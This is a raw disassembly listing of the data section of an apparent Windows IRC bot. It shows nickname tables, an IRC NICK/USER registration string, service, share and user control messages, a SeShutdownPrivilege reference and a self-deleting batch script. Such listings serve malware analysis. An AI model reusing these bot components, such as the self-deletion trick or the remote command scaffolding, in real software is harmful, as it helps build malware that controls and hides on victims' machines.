"murat34-m" dd offset aHakan3 ; "hakan3" dd offset aImirzali ; "IMIRZALI--" dd offset aRamtha ; "RAMTHA" dd offset aEmre ; "Emre--" dd offset aElmaazyok ; "elmaazyok" dd offset aEsmerkiz ; "Esmerkiz" dd offset aKebikec ; "kebikec" dd offset aFlord ; "FLoRD" dd offset aHoly ; "holy" dd offset aMahinur ; "MAHINUR" dd offset aSadikaellesme ; "SaDIkaEllesme" dd offset aAykut1 ; "aykut1" dd offset aKashmira ; "Kashmira" dd offset aSeviseli ; "SeViSeLi" dd offset aSugarboy ; "SUGARBOY-" dd offset aUzgun36 ; "uzgun36" dd offset aKumul ; "kumul" dd offset aAdalim ; "ADALIM" dd offset aUmut ; "umut-" dd offset aAnk32M ; "ANK-32-M" dd offset aDjspace ; "DJSPACE" dd offset aAnkar ; "Ankar" dd offset aFenerlee ; "FeNeRLee" dd offset aHayran ; "hayran" dd offset aAngelgirl ; "angelgirl" dd offset aKapk ; "kapk" dd offset aAchilles ; "Achilles" dd offset aTegmen ; "TEGMEN" dd offset aKotan ; "kotan" dd offset aSevda ; "sevda" dd offset off_438324 dd offset aAlcatras ; "alcatras" dd offset aA44m ; "a44m" dd offset aBirsen ; "birsen" dd offset aYabanc ; "yabanc" dd offset aDevre ; "devre" dd offset aErkan ; "erkan" dd offset aAnkm ; "ankM" dd offset aAdem28 ; "Adem28" dd offset aMaxsilla ; "maxsilla" dd offset aM41ist ; "M41IST" dd offset aAdamm33 ; "AdAMM33" dd offset aFirtina ; "firtina" dd offset aAta29 ; "Ata29" dd offset aKoray ; "KORAY" dd offset aAkden ; "akden" dd offset aIzmirlm ; "izmirlm" dd offset aUla ; "ula" dd offset aNeHaber ; "NE-HABER" dd offset aPassenger ; "passenger" dd offset aTropikal ; "tropikal" dd offset aCool30m ; "cool30m" dd offset aCem39 ; "cem39" dd offset aRerpjj ; "RERPJJ" dd offset aTeoman ; "TEOMAN```" dd offset aDallas43m ; "DALLAS43M" dd offset aPrometheus ; "prometheus" dd offset aMaveRIck ; "MaVe{R}icK" dd offset aAdamm ; "ADAMM" dd offset aCumhur29 ; "cumhur29" dd offset aWantedlove ; "WANTEDLOVE" off_437EF0 dd offset aSex_0 ; DATA XREF: sub_417ADD+41r ; sub_417ADD+ECr ; "sex" dd offset aLez ; "lez" dd offset aZex ; "zex" dd offset aTree ; "tree" dd offset aBad ; "bad" dd offset aLag ; "lag" dd offset aTambe ; "|tambe|" dd offset aWoh ; "|woh|" dd offset aTot ; "-|tot|" dd offset aSuck ; "|suck|" dd offset aLuck ; "|luck|" dd offset aHub ; "{hub}" dd offset aSex ; "{sex}" dd offset aGens ; "{gens|" dd offset aLuvuF ; "||luvu-f|" dd offset aWiked ; "|wiked|" dd offset aSick ; "sick}}" dd offset aQ8 ; "Q8" dd offset aQ8A ; "|q8|a" dd offset dword_438780 dd offset aC ; "c" dd offset aD ; "d" db 38h ; 8 db 0ACh ; ¬ db 42h ; B db 0 db 98h ; ˜ db 87h ; ‡ db 43h ; C db 0 db 94h ; ” db 87h ; ‡ db 43h ; C db 0 db 90h ; db 87h ; ‡ db 43h ; C db 0 db 0D4h ; Ô db 0C2h ;  db 42h ; B db 0 ; --------------------------------------------------------------------------- cld mov ah, 42h add [ebx+esi*4+42h], al add [eax-39h], bl inc edx add [edi+eax*4-533BFFBDh], cl inc edx add [eax-4Dh], cl inc edx add al, bh mov dl, 42h add [edx+ebp*4+42h], dl add al, ch retn 42h ; --------------------------------------------------------------------------- dd offset aRs ; "rs" dd offset aT ; "t" dd offset aU ; "u" dd offset aV ; "v" ; --------------------------------------------------------------------------- mov al, ds:84004387h xchg eax, [ebx+0] pushf xchg eax, [ebx+0] mov [edi-7E83FFBDh], al inc ebx add [eax-7Fh], bh inc ebx add [ecx+eax*4+43h], dh add [eax-7Fh], dh inc ebx add [ecx+eax*4+43h], ch add [eax-7Fh], ch inc ebx add [ecx+eax*4+43h], ah add [ecx+eax*4+43h], bl add [ecx+eax*4+43h], dl add [ecx+eax*4+43h], cl add [ecx+eax*4+43h], al add [eax-6BFFBC79h], cl xchg eax, [ebx+0] fadd st(2), st inc edx add al, ch retn 42h ; --------------------------------------------------------------------------- dd offset off_438140 dd offset aBbl ; "|bbl" dd offset dword_43D128 dd offset dword_43D128 dd offset a___0 ; "_|_" dd offset dword_43D128 dd offset dword_43D128 dd offset dword_43D128 dd offset dword_43D128 dd offset dword_438750 dd offset aM_0 ; "M" dd offset aLuvu ; "LUVU" dd offset aSad ; "Sad" dd offset aF_2 ; "^^^f^" dd offset dword_438780 dd offset dword_43D128 dd offset aSleeping ; "Sleeping" dd offset dword_43D128 dd offset dword_43D128 dd offset aFuck ; "Fuck" dd offset aFree ; "Free" dd offset dword_43D128 dd offset dword_43D128 dd offset dword_438734 dd offset dword_43D128 dd offset off_438100 dd offset aGirl_0 ; "GIRL" dd offset aGurl ; "gurl" dd offset aShit ; "shit" dd offset aAha ; "aha" dd offset aYeah ; "yeah" dd offset aMuha ; "muha" dd offset aMof0 ; "mof0" dd offset aMofo ; "mofo" dd offset dword_4380C0 dd offset dword_4380BC dd offset dword_4380B4 dd offset dword_4380A8 dd offset dword_4380A0 dd offset dword_438098 dd offset dword_438090 dd offset dword_43808C dd offset dword_438088 dword_438088 dd 7536h ; DATA XREF: ___:00438084o dword_43808C dd 7535h ; DATA XREF: ___:00438080o dword_438090 dd 7C75347Ch, 0 ; DATA XREF: ___:0043807Co dword_438098 dd 6F79347Bh, 7D75h ; DATA XREF: ___:00438078o dword_4380A0 dd 7375347Ch, 7Ch ; DATA XREF: ___:00438074o dword_4380A8 dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438070o dword_4380B4 dd 6F6C6F6Ch, 7C617Ch ; DATA XREF: ___:0043806Co dword_4380BC dd 6C6F6Ch ; DATA XREF: ___:00438068o dword_4380C0 dd 746F74h ; DATA XREF: ___:00438064o aMofo db 'mofo',0 ; DATA XREF: ___:00438060o align 4 aMof0 db 'mof0',0 ; DATA XREF: ___:0043805Co align 4 aMuha db 'muha',0 ; DATA XREF: ___:00438058o align 4 aYeah db 'yeah',0 ; DATA XREF: ___:00438054o align 4 aAha db 'aha',0 ; DATA XREF: ___:00438050o aShit db 'shit',0 ; DATA XREF: ___:0043804Co align 10h aGurl db 'gurl',0 ; DATA XREF: ___:00438048o align 4 aGirl_0 db 'GIRL',0 ; DATA XREF: ___:00438044o align 10h off_438100 dd offset word_594F42 ; DATA XREF: ___:00438040o aFree db 'Free',0 ; DATA XREF: ___:0043802Co align 4 aFuck db 'Fuck',0 ; DATA XREF: ___:00438028o align 4 aSleeping db 'Sleeping',0 ; DATA XREF: ___:0043801Co align 10h aF_2 db '^^^f^',0 ; DATA XREF: ___:00438010o align 4 aSad db 'Sad',0 ; DATA XREF: ___:0043800Co aLuvu db 'LUVU',0 ; DATA XREF: ___:00438008o align 4 a___0 db '_|_',0 ; DATA XREF: ___:00437FECo aBbl db '|bbl',0 ; DATA XREF: ___:00437FE0o align 10h off_438140 dd offset loc_425242 ; DATA XREF: ___:00437FDCo aMuckc db 'muckc',0 align 4 aTruck db 'truck',0 align 4 aTrimy db 'trimy',0 align 4 aLuvy db 'luvy',0 align 4 aUi db 'ui',0 align 4 aSdf db 'sdf',0 aRt db 'rt',0 align 10h aGf db 'gf',0 align 4 aTy db 'ty',0 align 4 aRg db 'rg',0 align 4 aHappy db 'happy',0 align 4 aRs db 'rs',0 ; DATA XREF: ___:00437F80o align 4 aQ8A db '|q8|a',0 ; DATA XREF: ___:00437F38o align 10h aQ8 db 'Q8',0 ; DATA XREF: ___:00437F34o align 4 aSick db 'sick}}',0 ; DATA XREF: ___:00437F30o align 4 aWiked db '|wiked|',0 ; DATA XREF: ___:00437F2Co aLuvuF db '||luvu-f|',0 ; DATA XREF: ___:00437F28o align 10h aGens db '{gens|',0 ; DATA XREF: ___:00437F24o align 4 aSex db '{sex}',0 ; DATA XREF: ___:00437F20o align 10h aHub db '{hub}',0 ; DATA XREF: ___:00437F1Co align 4 aLuck db '|luck|',0 ; DATA XREF: ___:00437F18o align 10h aSuck db '|suck|',0 ; DATA XREF: ___:00437F14o align 4 aTot db '-|tot|',0 ; DATA XREF: ___:00437F10o align 10h aWoh db '|woh|',0 ; DATA XREF: ___:00437F0Co align 4 aTambe db '|tambe|',0 ; DATA XREF: ___:00437F08o aLag db 'lag',0 ; DATA XREF: ___:00437F04o aBad db 'bad',0 ; DATA XREF: ___:00437F00o aTree db 'tree',0 ; DATA XREF: ___:00437EFCo align 10h aZex db 'zex',0 ; DATA XREF: ___:00437EF8o aLez db 'lez',0 ; DATA XREF: ___:00437EF4o aSex_0 db 'sex',0 ; DATA XREF: ___:off_437EF0o aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: ___:00437EECo align 4 aCumhur29 db 'cumhur29',0 ; DATA XREF: ___:00437EE8o align 4 aAdamm db 'ADAMM',0 ; DATA XREF: ___:00437EE4o align 4 aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: ___:00437EE0o align 4 aPrometheus db 'prometheus',0 ; DATA XREF: ___:00437EDCo align 4 aDallas43m db 'DALLAS43M',0 ; DATA XREF: ___:00437ED8o align 10h aTeoman db 'TEOMAN```',0 ; DATA XREF: ___:00437ED4o align 4 aRerpjj db 'RERPJJ',0 ; DATA XREF: ___:00437ED0o align 4 aCem39 db 'cem39',0 ; DATA XREF: ___:00437ECCo align 4 aCool30m db 'cool30m',0 ; DATA XREF: ___:00437EC8o aTropikal db 'tropikal',0 ; DATA XREF: ___:00437EC4o align 10h aPassenger db 'passenger',0 ; DATA XREF: ___:00437EC0o align 4 aNeHaber db 'NE-HABER',0 ; DATA XREF: ___:00437EBCo align 4 aUla db 'ula',0 ; DATA XREF: ___:00437EB8o aIzmirlm db 'izmirlm',0 ; DATA XREF: ___:00437EB4o aAkden db 'akden',0 ; DATA XREF: ___:00437EB0o align 4 aKoray db 'KORAY',0 ; DATA XREF: ___:00437EACo align 4 aAta29 db 'Ata29',0 ; DATA XREF: ___:00437EA8o align 4 aFirtina db 'firtina',0 ; DATA XREF: ___:00437EA4o aAdamm33 db 'AdAMM33',0 ; DATA XREF: ___:00437EA0o aM41ist db 'M41IST',0 ; DATA XREF: ___:00437E9Co align 4 aMaxsilla db 'maxsilla',0 ; DATA XREF: ___:00437E98o align 10h aAdem28 db 'Adem28',0 ; DATA XREF: ___:00437E94o align 4 aAnkm db 'ankM',0 ; DATA XREF: ___:00437E90o align 10h aErkan db 'erkan',0 ; DATA XREF: ___:00437E8Co align 4 aDevre db 'devre',0 ; DATA XREF: ___:00437E88o align 10h aYabanc db 'yabanc',0 ; DATA XREF: ___:00437E84o align 4 aBirsen db 'birsen',0 ; DATA XREF: ___:00437E80o align 10h aA44m db 'a44m',0 ; DATA XREF: ___:00437E7Co align 4 aAlcatras db 'alcatras',0 ; DATA XREF: ___:00437E78o align 4 off_438324 dd offset byte_4B5245 ; DATA XREF: ___:00437E74o aSevda db 'sevda',0 ; DATA XREF: ___:00437E70o align 10h aKotan db 'kotan',0 ; DATA XREF: ___:00437E6Co align 4 aTegmen db 'TEGMEN',0 ; DATA XREF: ___:00437E68o align 10h aAchilles db 'Achilles',0 ; DATA XREF: ___:00437E64o align 4 aKapk db 'kapk',0 ; DATA XREF: ___:00437E60o align 4 aAngelgirl db 'angelgirl',0 ; DATA XREF: ___:00437E5Co align 10h aHayran db 'hayran',0 ; DATA XREF: ___:00437E58o align 4 aFenerlee db 'FeNeRLee',0 ; DATA XREF: ___:00437E54o align 4 aAnkar db 'Ankar',0 ; DATA XREF: ___:00437E50o align 4 aDjspace db 'DJSPACE',0 ; DATA XREF: ___:00437E4Co aAnk32M db 'ANK-32-M',0 ; DATA XREF: ___:00437E48o align 10h aUmut db 'umut-',0 ; DATA XREF: ___:00437E44o align 4 aAdalim db 'ADALIM',0 ; DATA XREF: ___:00437E40o align 10h aKumul db 'kumul',0 ; DATA XREF: ___:00437E3Co align 4 aUzgun36 db 'uzgun36',0 ; DATA XREF: ___:00437E38o aSugarboy db 'SUGARBOY-',0 ; DATA XREF: ___:00437E34o align 4 aSeviseli db 'SeViSeLi',0 ; DATA XREF: ___:00437E30o align 4 aKashmira db 'Kashmira',0 ; DATA XREF: ___:00437E2Co align 4 aAykut1 db 'aykut1',0 ; DATA XREF: ___:00437E28o align 4 aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: ___:00437E24o align 4 aMahinur db 'MAHINUR',0 ; DATA XREF: ___:00437E20o aHoly db 'holy',0 ; DATA XREF: ___:00437E1Co align 4 aFlord db 'FLoRD',0 ; DATA XREF: ___:00437E18o align 4 aKebikec db 'kebikec',0 ; DATA XREF: ___:00437E14o aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: ___:00437E10o align 4 aElmaazyok db 'elmaazyok',0 ; DATA XREF: ___:00437E0Co align 4 aEmre db 'Emre--',0 ; DATA XREF: ___:00437E08o align 4 aRamtha db 'RAMTHA',0 ; DATA XREF: ___:00437E04o align 4 aImirzali db 'IMIRZALI--',0 ; DATA XREF: ___:00437E00o align 10h aHakan3 db 'hakan3',0 ; DATA XREF: ___:00437DFCo align 4 aMurat34M db 'murat34-m',0 ; DATA XREF: ___:00437DF8o align 4 aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: ___:00437DF4o aArda db 'arda',0 ; DATA XREF: ___:00437DF0o align 4 aDevran db 'devran',0 ; DATA XREF: ___:00437DECo align 10h aBerk19m db 'Berk19m',0 ; DATA XREF: ___:00437DE8o aDenizlim db 'DenizliM',0 ; DATA XREF: ___:00437DE4o align 4 aCongueror db 'CoNGuERoR',0 ; DATA XREF: ___:00437DE0o align 10h aAlpay34m db 'alpay34m',0 ; DATA XREF: ___:00437DDCo align 4 aBogac db 'bogac',0 ; DATA XREF: ___:00437DD8o align 4 aDonjuanm db 'Donjuanm',0 ; DATA XREF: ___:00437DD4o align 10h aAnkh db 'ankh',0 ; DATA XREF: ___:00437DD0o align 4 off_4384B8 dd offset byte_457441 ; DATA XREF: ___:00437DCCo dword_4384BC dd 414C5941h, 2Dh ; DATA XREF: ___:00437DC8o aAlbina db 'albina',0 ; DATA XREF: ___:00437DC4o align 4 aIzmir39m db 'Izmir39m',0 ; DATA XREF: ___:00437DC0o align 4 aZack db 'ZACK',0 ; DATA XREF: ___:00437DBCo align 10h aAnk32m db 'ank32m',0 ; DATA XREF: ___:00437DB8o align 4 aTurkyy db 'turkyy',0 ; DATA XREF: ___:00437DB4o align 10h aAhmet db 'ahmet',0 ; DATA XREF: ___:00437DB0o align 4 aPelincik db 'pelincik',0 ; DATA XREF: ___:00437DACo align 4 aBlackpearl db 'blackpearl',0 ; DATA XREF: ___:00437DA8o align 10h aRetg db 'RETG',0 ; DATA XREF: ___:00437DA4o align 4 aSamyeli21 db 'samyeli21',0 ; DATA XREF: ___:00437DA0o align 4 aPiramit db 'PIRAMIT',0 ; DATA XREF: ___:00437D9Co aAslii db 'aslii',0 ; DATA XREF: ___:00437D98o align 4 aErnesto db 'ERNESTO',0 ; DATA XREF: ___:00437D94o aHaticem db 'haticem',0 ; DATA XREF: ___:00437D90o aArzu db 'ARZU',0 ; DATA XREF: ___:00437D8Co align 4 aSudenur db 'SUDENUR',0 ; DATA XREF: ___:00437D88o aSevmekmi db 'sevmekmi',0 ; DATA XREF: ___:00437D84o align 10h aVenedik34 db 'venedik34',0 ; DATA XREF: ___:00437D80o align 4 aTekir db 'tekir',0 ; DATA XREF: ___:00437D7Co align 4 aMERVE db 'M-E-R-V-E',0 ; DATA XREF: ___:00437D78o align 10h aTrend3 db 'trend3',0 ; DATA XREF: ___:00437D74o align 4 aMelekk db 'melekk',0 ; DATA XREF: ___:00437D70o align 10h aAkin db 'AKIN',0 ; DATA XREF: ___:00437D6Co align 4 aMary db 'MARY',0 ; DATA XREF: ___:00437D68o align 10h aJericho db 'JERICHO',0 ; DATA XREF: ___:00437D64o aTolga34 db 'Tolga34',0 ; DATA XREF: ___:00437D60o aMisssunday db 'misssunday',0 ; DATA XREF: ___:00437D5Co align 4 aIrmal db 'irmal',0 ; DATA XREF: ___:00437D58o align 4 aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: ___:00437D54o align 4 aBerk19 db 'berk19',0 ; DATA XREF: ___:00437D50o align 4 aHexaaa db 'hexaaa',0 ; DATA XREF: ___:00437D4Co align 4 aErkan27 db 'erkan27',0 ; DATA XREF: ___:00437D48o aKaan38dent db 'kaan38dent',0 ; DATA XREF: ___:00437D44o align 4 aCansuuuu db 'cansuuuu',0 ; DATA XREF: ___:00437D40o align 4 aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: ___:00437D3Co align 10h aKencing db 'Kencing',0 ; DATA XREF: ___:00437D38o aReshma db 'reshma',0 ; DATA XREF: ___:00437D34o align 10h aCamel db 'CAMEL',0 ; DATA XREF: ___:00437D30o align 4 aGirl db 'GirL',0 ; DATA XREF: ___:00437D2Co align 10h aImra db 'imra',0 ; DATA XREF: ___:00437D28o align 4 aCoredump db 'CoreDump',0 ; DATA XREF: ___:00437D24o align 4 aPuregold db 'puregold',0 ; DATA XREF: ___:00437D20o align 10h aKermit db 'kermit',0 ; DATA XREF: ___:00437D1Co align 4 aManee db 'manee',0 ; DATA XREF: ___:00437D18o align 10h aTroller db 'troller',0 ; DATA XREF: ___:00437D14o aLuisa db 'Luisa',0 ; DATA XREF: ___:00437D10o align 10h aNastysha db 'nastysha',0 ; DATA XREF: ___:00437D0Co align 4 aRimpy db 'rimpy',0 ; DATA XREF: ___:00437D08o align 4 aJanno db 'janno',0 ; DATA XREF: ___:00437D04o align 4 aBunty db 'bunty',0 ; DATA XREF: ___:00437D00o align 4 aHeval db 'heval',0 ; DATA XREF: ___:00437CFCo align 4 aCme db 'cme',0 ; DATA XREF: ___:00437CF8o aMarcy db 'marcy',0 ; DATA XREF: ___:00437CF4o align 4 aTalika db 'talika',0 ; DATA XREF: ___:00437CF0o align 10h aShez db 'Shez',0 ; DATA XREF: ___:00437CECo align 4 aKen db 'ken',0 ; DATA XREF: ___:00437CE8o aFlexster db 'flexster',0 ; DATA XREF: ___:00437CE4o align 4 aKoko db 'koko',0 ; DATA XREF: ___:00437CE0o align 10h aMale db 'male',0 ; DATA XREF: ___:00437CDCo align 4 aSwin db 'swin',0 ; DATA XREF: ___:00437CD8o align 10h aCar1nna db 'Car1nna',0 ; DATA XREF: ___:00437CD4o aKrizha db 'KRIZHA',0 ; DATA XREF: ___:00437CD0o align 10h aEmilya db 'emilya',0 ; DATA XREF: ___:00437CCCo align 4 aBobmarley db 'BOBMARLEY',0 ; DATA XREF: ___:00437CC8o align 4 aMaxxguy db 'maxxguy',0 ; DATA XREF: ___:00437CC4o aFarooq db 'farooq',0 ; DATA XREF: ___:00437CC0o align 4 aSmartmir db 'SMARTMIR',0 ; DATA XREF: ___:00437CBCo align 10h aM_0: ; DATA XREF: ___:00437CB8o ; ___:00438004o unicode 0, <M>,0 word_438724 dw 4Eh ; DATA XREF: sub_419E79+38r ; ___:00437CB4o align 4 dword_438728 dd 42h ; DATA XREF: ___:00437CB0o dword_43872C dd 56h ; DATA XREF: ___:00437CACo dword_438730 dd 43h ; DATA XREF: ___:00437CA8o dword_438734 dd 58h ; DATA XREF: ___:00437CA4o ; ___:00438038o dword_438738 dd 5Ah ; DATA XREF: ___:00437CA0o dword_43873C dd 4Ch ; DATA XREF: ___:00437C9Co dword_438740 dd 4Bh ; DATA XREF: ___:00437C98o dword_438744 dd 4Ah ; DATA XREF: ___:00437C94o dword_438748 dd 48h ; DATA XREF: ___:00437C90o dword_43874C dd 47h ; DATA XREF: ___:00437C8Co dword_438750 dd 46h ; DATA XREF: ___:00437C88o ; ___:00438000o dword_438754 dd 44h ; DATA XREF: ___:00437C84o dword_438758 dd 53h ; DATA XREF: ___:00437C80o dword_43875C dd 50h ; DATA XREF: ___:00437C78o dword_438760 dd 4Fh ; DATA XREF: ___:00437C74o dword_438764 dd 55h ; DATA XREF: ___:00437C6Co word_438768 dw 59h ; DATA XREF: sub_41A19D+38r ; ___:00437C68o align 4 dword_43876C dd 54h ; DATA XREF: ___:00437C64o dword_438770 dd 52h ; DATA XREF: ___:00437C60o dword_438774 dd 45h ; DATA XREF: ___:00437C5Co dword_438778 dd 57h ; DATA XREF: ___:00437C58o dword_43877C dd 51h ; DATA XREF: ___:00437C54o dword_438780 dd 62h ; DATA XREF: ___:00437C48o ; ___:00437F3Co ... dword_438784 dd 78h ; DATA XREF: ___:00437C3Co dword_438788 dd 7Ah ; DATA XREF: ___:00437C38o dword_43878C dd 6Ch ; DATA XREF: ___:00437C34o dword_438790 dd 68h ; DATA XREF: ___:00437C28o dword_438794 dd 67h ; DATA XREF: ___:00437C24o dword_438798 dd 66h, 79h, 77h ; DATA XREF: ___:00437C20o dword_4387A4 dd 4B43494Eh, 0A732520h, 0 ; DATA XREF: sub_4177CF+B1o dword_4387B0 dd 323334h ; DATA XREF: sub_4177CF+79o dword_4387B4 dd 474E4F50h, 0A732520h, 0 ; DATA XREF: sub_4177CF+61o aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_4178BA+9Bo db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0 align 10h a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_417ADD+BCo ; sub_417ADD+175r ... align 4 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; --------------------------------------------------------------------------- mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814C+72o align 10h aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_418293+1Co align 10h aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418337+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418359+140o align 4 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_418359+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_418359+48o align 4 unk_43892C db 2Dh ; - ; DATA XREF: sub_4184E1+9Co db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aOperatingSyste db '- operating system is not supported',0 align 4 unk_43895C db 2Dh ; - ; DATA XREF: sub_4184E1+8Fo db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedWithErro db '- failed with error code %d',0 align 4 dword_438984 dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h ; DATA XREF: sub_4184E1+5Co dd 65726165h, 64h off_4389A0 dd offset aAdd ; DATA XREF: sub_4186C1+60r ; sub_418A98+51r ... ; "Add" off_4389A4 dd offset aAdded ; DATA XREF: sub_4186C1+2Dr ; sub_418A98+83r ... ; "Added" dword_4389A8 dd 0 ; DATA XREF: sub_4186C1+18r dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 8 dd offset aList_1 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 10h dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 438A14h, 438A0Ch, 2, 438A00h, 4389F4h, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: ___:004389D4o aStop_0 db 'Stop',0 ; DATA XREF: ___:004389D0o align 4 aStarted db 'Started',0 ; DATA XREF: ___:004389C8o aStart_0 db 'Start',0 ; DATA XREF: ___:004389C4o align 4 aListed db 'Listed',0 ; DATA XREF: ___:004389BCo align 4 aList_1 db 'List',0 ; DATA XREF: ___:004389B8o align 4 aDeleted db 'Deleted',0 ; DATA XREF: ___:004389B0o aDelete_0 db 'Delete',0 ; DATA XREF: ___:004389ACo align 4 aAdded db 'Added',0 ; DATA XREF: ___:off_4389A4o align 4 aAdd db 'Add',0 ; DATA XREF: ___:off_4389A0o unk_438A68 db 2Dh ; - ; DATA XREF: sub_4186C1+67o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoServiceSpec db '- %s: no service specified',0 unk_438A8C db 2Dh ; - ; DATA XREF: sub_4186C1+51o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0 align 4 unk_438AB8 db 2Dh ; - ; DATA XREF: sub_4186C1+33o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSServiceS db '- %s service: ',27h,'%s',27h,0 aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DD+12Co align 4 aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_4187DD:loc_4188F5o align 4 aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_4187DD:loc_4188EEo align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_4187DD:loc_4188E7o db 'the state of the service.',0 align 4 aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_4187DD:loc_4188E0o align 4 aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_4187DD:loc_4188D9o db ' correct access rights.',0 align 10h aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_4187DD:loc_4188D2o align 4 aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_4187DD:loc_4188CBo align 4 aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_4187DD:loc_4188C4o align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_4187DD:loc_4188BDo db 'marked for deletion.',0 align 4 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_4187DD:loc_4188B6o align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_4187DD:loc_41888Bo align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_4187DD:loc_418884o db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_4187DD:loc_41887Do db 'tServiceCtrlDispatcher.',0 align 4 aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_4187DD:loc_418876o align 4 aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_4187DD+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_4187DD:loc_41884Bo db 'dependent on it.',0 align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_4187DD:loc_418841o aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_4187DD:loc_418837o aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_4187DD:loc_41882Do align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_4187DD:loc_418823o align 4 aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DD+3Co align 10h aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_41895B+EBo aStopped db ' Stopped',0 ; DATA XREF: sub_41895B:loc_418A27o aStarting db ' Starting',0 ; DATA XREF: sub_41895B:loc_418A20o aStoping db ' Stoping',0 ; DATA XREF: sub_41895B:loc_418A19o aRunning db ' Running',0 ; DATA XREF: sub_41895B:loc_418A12o aContinuing db ' Continuing',0 ; DATA XREF: sub_41895B:loc_418A0Bo aPausing db ' Pausing',0 ; DATA XREF: sub_41895B:loc_418A04o aPaused_0 db ' Paused',0 ; DATA XREF: sub_41895B:loc_4189FDo aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_41895B+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_41895B+25o align 4 unk_43900C db 2Dh ; - ; DATA XREF: sub_418A98+ACo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoShareSpecif db '- %s: no share specified',0 align 10h dword_439030 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h ; DATA XREF: sub_418A98+8Ao dd 73252720h, 27h unk_43904C db 2Dh ; - ; DATA XREF: sub_418A98+58o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0 align 4 a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8E+D0o align 10h aNo db 'No',0 ; DATA XREF: sub_418C8E+BCo align 4 aYes db 'Yes',0 ; DATA XREF: sub_418C8E+B5o unk_439098 db 2Dh ; - ; DATA XREF: sub_418C8E+76o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListError db '- share list error %s <%ld>',0 align 10h aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_418C8E+26o align 4 unk_4390F8 db 2Dh ; - ; DATA XREF: sub_418DAF+B7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoUsernameSpe db '- %s: no username specified',0 align 10h unk_439120 